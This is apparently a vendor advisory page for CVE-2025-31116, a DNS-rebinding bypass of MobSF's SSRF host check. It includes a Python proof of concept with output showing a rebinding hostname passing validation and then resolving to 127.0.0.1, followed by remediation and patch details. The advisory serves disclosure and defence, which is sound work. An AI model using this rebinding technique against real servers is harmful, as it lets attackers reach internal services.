NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐍
🐍 PyPI
Not in CISA KEV
MEDIUM severity

CVE-2025-31116 — mobsf

MEDIUMFix: MobSF/Mobile-Security-Framework-MobSF@4b8bab5

CVE-2025-31116 is a medium-severity (CVSS 4.4) Server-Side Request Forgery (SSRF) vulnerability in mobsf. A fix is available for mobsf — see the affected versions and patch details below.

Mobile Security Framework (MobSF) has a SSRF Vulnerability fix bypass on assetlinks_check with DNS Rebinding

Also known asGHSA-fcfq-m8p6-gw56PYSEC-2025-48
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 8, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2025-31116.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs42th percentile — riskier than 42% of all scored CVEsHighest risk
0.00%0.33%0.66%0.98%0.3%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐍mobsf

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds. As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

Impact

The usual impact of Server-side request forgery.

Remediation

  • Avoid the use of socket.gethostbyname() since it issues and DNS query.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImobsfall versions4.3.2pip install --upgrade 'mobsf==4.3.2'

Affected Products

1 product · 1 configurations
Application
mobile security frameworkopensecurity
< 4.3.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mobsf, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mobsf to 4.3.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2025-31116 is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

Frequently Asked Questions

### Summary The latest deployed fix for the SSRF vulnerability is through the use of the call `valid_host()`. The code available at lines [/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957](https://github.com/MobSF/Mobile-Security-Framework-MobSF/blob/ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957) is vulnerable to SSRF abuse using DNS rebinding technique. ### PoC The following proof of concept: ```python def valid_host(host): """Check if host is valid.""" try: prefixs = ('http://', 'https://') if not host.startswith(
O3 Security · Impact-Aware SCA

Is CVE-2025-31116 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2025-31116: mobsf SSRF — Fixed in 4.3.2